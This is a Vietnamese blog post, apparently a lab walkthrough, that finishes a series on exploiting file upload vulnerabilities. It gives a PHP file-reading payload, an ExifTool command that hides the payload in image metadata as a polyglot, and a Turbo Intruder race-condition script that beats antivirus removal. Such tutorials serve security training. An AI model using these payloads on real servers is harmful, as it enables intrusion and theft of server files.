Penetration Testing Step 3 – Khai thác file upload vulnerabilities (Hiệp cuối)

Tiếp theo trong nội dung Penetration Testing Step 3 – Khai thác file upload vulnerabilities (Hiệp 2), kỳ này tôi sẽ đi vào hiệp cuối của trận chiến khai thác File Upload Vulnerabilities. Cụ thể, trong nội dung này, tôi sẽ minh họa 2 tình huống gần với thực tế hơn khi server được buff nội công đáng kể để có thể chống đỡ với các đòn tấn công trước đó khi có thể kiểm soát nội dung của file upload cũng như khả năng diệt các file độc hại chui được vào hệ thống.

Lưu ý:

#1. Khai thác File Upload Vulnerability thông qua lỗi trong quá trình xác minh nội dung file

Như có thể thấy trong nội dung Penetration Testing Step 3 – Khai thác file upload vulnerabilities (Hiệp 1), việc tin tưởng vô nội dung khai báo Content-Type của request là một việc làm dại dột. Server thực tế nên soi cả cái nội dung của file và dựa trên các dấu hiệu đặc trưng (ví dụ các byte đặc biệt xuất hiện trong header/footer) để coi hàng họ gửi lên có đúng như ý đồ thiết kế hay không.

Tuy nhiên, cần lưu ý, kể cả với các phương án soi kèo chuyên sâu, attacker vẫn có thể sử dụng các công cụ (ví dụ ExifTool) để tạo ra “bằng chứng” giả mạo đầy tinh vi nhằm dụ dỗ server gật đầu cho phép tuồn hàng độc hại vào.

Với ý tưởng đó, tôi sẽ đi vào demo kịch bản sử dụng tool để khai thác lỗi trong quá trình xác nhận nội dung file của server.

Như các kỳ trước đó, tôi đăng nhập hệ thống và thử upload image vớ vẩn làm avatar để thu thập các mẫu request liên quan (Phần này tôi minh họa nhiều lần quá rồi nên không nhắc lại kỹ nữa. Nếu cần thiết, bạn có thể de lại các kỳ trước đó để xem cho rõ).

Quay trở lại vấn đề chính, trước khi giở trò với mục tiêu, tôi cần chuẩn bị trước một script độc hại kiểu như file exploit.php có nội dung như sau để hốt cái bí mật của nạn nhân Carlos.

<?php echo file_get_contents('/home/carlos/secret'); ?>

Lúc này, nếu chơi kiểu liều ăn nhiều, upload đại cái file php lên làm avatar thì tôi sẽ bị cái thông báo lỗi tương vào mồm.

File upload error
File upload error

Để vượt qua nghịch cảnh, lúc này, tôi sẽ cần đến các công cụ hỗ trợ để mạo danh file image. Cụ thể ở đây, tôi sẽ nhờ cậy vào ExifTool để tạo file polyglot PHP/JPG (đại khái là file image thông thường nhưng có thể chứa PHP payload trong metadata). Để mần việc này, trước hết tôi cần xông pha vào trang để lấy cái tool ở ExifTool by Phil Harvey.

ExifTool
ExifTool

Sau khi đã hốt hàng về, tôi sẽ có thể giở trò mạo danh nói trên với command kiểu như sau:

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" fake.png -o polyglot.php

polyglot command
polyglot command

Lưu ý:

  • png là file image đểu tôi lấy đại để làm “vật chủ” tuồn PHP payload vào;
  • php là sản phẩm của quá trình “phẫu thuật thậm mỹ” để đưa cái php script vào metadata của file image.

Kế tiếp, tôi kiểm tra xác nhận việc khởi tạo thành công con hàng polyglot.php.

polyglot
polyglot

Rồi tiến hành upload lên vị trí của avatar image.

Modified file upload
Modified file upload

Như bạn có thể thấy, lần này mọi chuyện diễn ra trót lọt vì sau khi soi kèo nội dung file, server xác định file tôi upload lên đích thị là image chuẩn cmn mực.

Diễn biến tiếp theo của câu chuyện chắc bạn cũng dễ dàng đoán ra. Với cái PHP payload (đánh dấu bằng cái STARTEND string) đã chui vào Comment field của image, tôi có thể chạy cái request GET /files/avatars/polyglot.php để kích hoạt cho cái payload hoạt động. Và sau đó đọc cái secret của Carlos ở vị trí tương ứng.

Exploit
Exploit

#2. Khai thác File Upload Vulnerability với race conditions

Từ đầu đến giờ tôi minh họa khá nhiều tình huống khai thác File Upload Vulnerability nên có thể bạn lầm tưởng việc này dễ ăn. Thực tế, các hệ thống hiện tại đa phần đều đã được gia cố, trang bị đến tận răng để chống lỗ hổng dạng này. Ví dụ, sẽ không có chuyện bạn được phép upload file trực tiếp vào các vị trí trên filesystem của mục tiêu mà thay vào đó là phải đẩy hàng vô khu vực “nhà chờ” tạm thời. Tại đây, sẽ có thể diễn ra các quá trình sát khuẩn, xử lý lại tên file và xác minh các vấn đề liên quan để đảm bảo an toàn trước khi đưa hàng về đích đến đã thiết kế.

Đôi khi, một số hệ thống sử dụng chương trình antivirus để kiểm hàng có thể vẫn cho phép upload vô filesystem của hệ thống. Tuy nhiên, các con hàng độc hại sẽ bị loại bỏ ngay lập tức nếu quá trình dò quét của hệ chương trình antivirus ghi nhận có vấn đề. Và dẫu thời gian tồn tại của file upload trên hệ thống rất ngắn ngủi, nhưng nếu khéo léo, attacker vẫn có thể kịp thời ra tay cho server no đòn.

Tất nhiên, kể cả với tình huống này, để “ăn” được mục tiêu tôi cũng sẽ phải đổ mồ hôi hột chứ chả chơi. Tôi sẽ bắt tay vô phần demo minh họa cho kịch bản này với một thứ gọi là “race condition” (có thể tạm hiểu đây là việc chạy đua với quá trình xử lý của antivirus software để kịp thời khai thác trước khi file upload độc hại bị tiêu diệt).

Tương tự như trước đó, tôi cũng login vào hệ thống và thử upload một cái image vớ vẩn làm avatar để lấy các mẫu request. Sau đó, tôi cũng soạn sẵn một file độc hại exploit.php để khai thác bí mật của Carlos với nội dung như sau.

<?php echo file_get_contents('/home/carlos/secret'); ?>

Và có thể dễ dàng đoán được, nếu thử tuồn con hàng này lên server tôi sẽ bị từ chối thẳng thừng kể cả khi giở các trò bùa chú như kiểu đề cập trước đó.

File upload error
File upload error

Lúc này, tôi sẽ cần gọi thêm đồng bọn trợ giúp bằng cách mò sang Extender và tìm Turbo Intruder trong BApp Store và bấm Install (Turbo Intruder sẽ giúp tôi chiến thắng trong cuộc đua với quá trình xử lý của antivirus software nói trên).

Install Turbo Intruder
Install Turbo Intruder

Còn nhớ cái mẫu request POST /my-account/avatar tôi nói ở đoạn đầu không? Giờ là lúc sử dụng nó đấy. Quay lại Proxy History, tôi nhấn chuột phải vô cái request này và chọn Extensions sau đó chọn Turbo IntruderSend to turbo intruder.

Send request to Turbo Intruder
Send request to Turbo Intruder

Trong cái cửa sổ Turbo Intruder vừa mở. Tôi sẽ tuồn vào cái Python script template kiểu như sau:

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

 

    # the 'gate' argument blocks the final byte of each request until openGate is invoked

    engine.queue(request1, gate='race1')

    for x in range(5):

        engine.queue(request2, gate='race1')

 

    # wait until every 'race1' tagged request is ready

    # then send the final byte of each request

    # (this method is non-blocking, just like queue)

    engine.openGate('race1')

    engine.complete(timeout=60)

 

def handleResponse(req, interesting):

    table.add(req)

Lưu ý:

  • Python script template ở trên giúp tự động hóa quá trình gửi file lên hệ thống (request1) và kích hoạt chạy payload để khai thác (request2). Đây là yêu cầu quan trọng để tôi giành được chiến thắng trong cuộc đua với antivirus software;
  • Thực tế Python còn có thể giúp được nhiều thứ khác trong công cuộc pentest nên chắc tôi sẽ thu xếp để giới thiệu kỹ hơn nội dung vào một lúc nào đấy.

Tôi tiến hành đưa cái Python script template vào Turbo Intruder.

Python script template
Python script template

Và tại vị trí <YOUR-POST-REQUEST> của request1, tôi sẽ quất nguyên cái request POST /my-account/avatar chứa exploit.php vào (nó đã nằm sẵn ở phần trên của Turbo Intruder sau khi tôi chọn Send to turbo intruder).

Upload file request
Upload file request

Với cái <YOUR-GET-REQUEST> của request2, tôi sẽ quay lại Proxy History lấy cái GET /files/avatars/1.PNG (cái request truy cập account sau khi upload image làm avatar).

Get image request
Get image request

Sau đó tôi tiến hành mông má lại thành GET /files/avatars/exploit.php tương ứng.

Exploit request
Exploit request

Chuẩn bị xong xuôi, tôi kéo xuống bên dưới cửa sổ Turbo Intruder và xả đạn với nút Attack. Lúc này, cái Python script sẽ submit POST request để upload file exploit.php trước. Và trên server, trong khi cha con nó vừa mới réo cái antivirus software ra để kiểm hàng thì tôi đã bồi ngay lập tức liên hoàn cước các GET request để kích hoạt exploit.php.

Dễ thấy (cái này dễ thật, không phải chém gió như lúc làm toán), một trong các đòn tung ra đã trúng mục tiêu khi tôi có thể nhận về cái secret của Carlos tương ứng với cái status code 200.

Attack result
Attack result

Tới đây tôi cũng xin tạm dừng nội dung giới thiệu liên quan đến File Upload Vulnerability. Trong các kỳ tới tôi sẽ chuyển sang các vấn đề khác của công cuộc Pentest.

1 thought on “Penetration Testing Step 3 – Khai thác file upload vulnerabilities (Hiệp cuối)”

Leave a Reply

Your email address will not be published. Required fields are marked *